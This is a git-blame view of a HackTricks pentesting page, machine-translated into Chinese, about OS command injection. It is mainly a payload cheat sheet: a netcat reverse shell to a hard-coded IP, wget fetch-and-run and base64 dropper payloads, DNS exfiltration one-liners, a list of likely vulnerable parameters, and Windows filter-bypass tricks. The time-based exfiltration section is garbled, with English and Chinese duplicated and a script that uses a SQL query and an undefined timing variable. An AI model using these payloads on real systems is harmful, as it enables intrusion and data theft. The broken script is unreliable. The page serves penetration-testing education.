hacktricks/pentesting-web/command-injection.md

205 lines
10 KiB
Markdown
Raw Normal View History

2023-08-03 19:12:22 +00:00
# 命令注入
2022-04-28 16:01:33 +00:00
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
2023-08-03 19:12:22 +00:00
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-10-27 23:22:18 +00:00
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用全球**最先进的**社区工具。\
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-10-27 23:22:18 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2023-08-03 19:12:22 +00:00
## 什么是命令注入?
操作系统命令注入也称为shell注入是一种Web安全漏洞允许攻击者在运行应用程序的服务器上执行任意操作系统OS命令并通常完全破坏应用程序及其所有数据。来自[这里](https://portswigger.net/web-security/os-command-injection))。
2023-08-03 19:12:22 +00:00
### 上下文
根据**你的输入被注入的位置**,你可能需要在命令之前**终止引用的上下文**(使用`"`或`'`)。
2023-08-03 19:12:22 +00:00
## 命令注入/执行
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
2022-10-02 23:08:05 +00:00
ls${LS_COLORS:10:1}${IFS}id # Might be useful
2022-10-10 00:18:23 +00:00
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **限制绕过**
2023-08-03 19:12:22 +00:00
如果你想在Linux机器上执行任意命令你会对以下绕过方法感兴趣
2022-10-02 23:08:05 +00:00
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
### **示例**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
2023-08-03 19:12:22 +00:00
### 参数
以下是可能容易受到代码注入和类似远程命令执行RCE漏洞攻击的前25个参数来自[链接](https://twitter.com/trbughunters/status/1283133356922884096)
```
2020-07-29 09:22:22 +00:00
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
2023-08-03 19:12:22 +00:00
### 基于时间的数据泄露
2020-07-29 09:22:22 +00:00
2023-08-03 19:12:22 +00:00
逐个字符提取数据
2021-06-25 16:50:01 +00:00
2023-08-03 19:12:22 +00:00
```bash
# Extracting data: char by char
# 提取数据:逐个字符
2023-08-03 19:12:22 +00:00
```
2021-06-25 16:50:01 +00:00
In some cases, command injection vulnerabilities may allow an attacker to extract sensitive data from a target system. One technique for extracting data is to do it character by character, using time delays to determine the value of each character.
在某些情况下,命令注入漏洞可能允许攻击者从目标系统中提取敏感数据。一种提取数据的技术是逐个字符进行,使用时间延迟来确定每个字符的值。
The idea behind this technique is to inject a command that will cause a time delay if a certain condition is met. By injecting a command that iterates through all possible characters and checking the response time, an attacker can determine the value of each character in the target data.
2023-08-03 19:12:22 +00:00
这种技术的思想是注入一个命令,如果满足某个条件,就会导致时间延迟。通过注入一个遍历所有可能字符并检查响应时间的命令,攻击者可以确定目标数据中每个字符的值。
2023-08-03 19:12:22 +00:00
Here is an example of how this technique can be used to extract data character by character:
以下是使用这种技术逐个字符提取数据的示例:
```bash
# Extracting data character by character
# 逐个字符提取数据
for i in {1..20}; do
for c in {a..z} {A..Z} {0..9} _; do
response=$(curl -s "http://example.com/?input=$(echo -n "SELECT column FROM table WHERE condition AND SUBSTRING(data,$i,1)='$c'" | base64)")
if [ $response_time > 2 ]; then
echo -n $c
break
fi
done
done
```
In this example, the attacker is injecting a command that iterates through all possible characters (lowercase letters, uppercase letters, numbers, and underscore) and checks the response time for each character. If the response time is greater than 2 seconds, it means that the injected character is correct and is part of the target data. The attacker then moves on to the next character.
在这个示例中攻击者注入了一个命令该命令遍历所有可能的字符小写字母、大写字母、数字和下划线并检查每个字符的响应时间。如果响应时间大于2秒表示注入的字符是正确的并且是目标数据的一部分。然后攻击者继续下一个字符。
By repeating this process for each character in the target data, the attacker can gradually extract the entire data set.
通过对目标数据中的每个字符重复此过程,攻击者可以逐步提取整个数据集。
```
2021-06-25 16:50:01 +00:00
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
2023-08-03 19:12:22 +00:00
### 基于DNS的数据泄露
2021-06-25 16:50:01 +00:00
2023-08-03 19:12:22 +00:00
基于`https://github.com/HoLyVieR/dnsbin`上的工具也托管在dnsbin.zhack.ca上。
```
2021-06-25 16:50:01 +00:00
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
```
2021-06-25 16:50:01 +00:00
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
2023-08-03 19:12:22 +00:00
在线工具检查基于DNS的数据泄露
2021-06-25 16:50:01 +00:00
* dnsbin.zhack.ca
* pingb.in
2023-08-03 19:12:22 +00:00
### 绕过过滤
2021-06-25 16:50:01 +00:00
2022-05-01 13:25:53 +00:00
#### Windows
```
2022-04-05 22:24:52 +00:00
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
2021-06-25 16:50:01 +00:00
```
2022-05-01 13:25:53 +00:00
#### Linux
2021-06-25 16:50:01 +00:00
2022-05-07 19:19:13 +00:00
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}
2021-06-25 16:50:01 +00:00
## Brute-Force Detection List
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
2021-06-27 21:56:13 +00:00
## References
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection" %}
{% embed url="https://portswigger.net/web-security/os-command-injection" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
2023-08-03 19:12:22 +00:00
* 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
</details>
2022-08-31 22:35:39 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,使用全球**最先进**的社区工具驱动。\
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}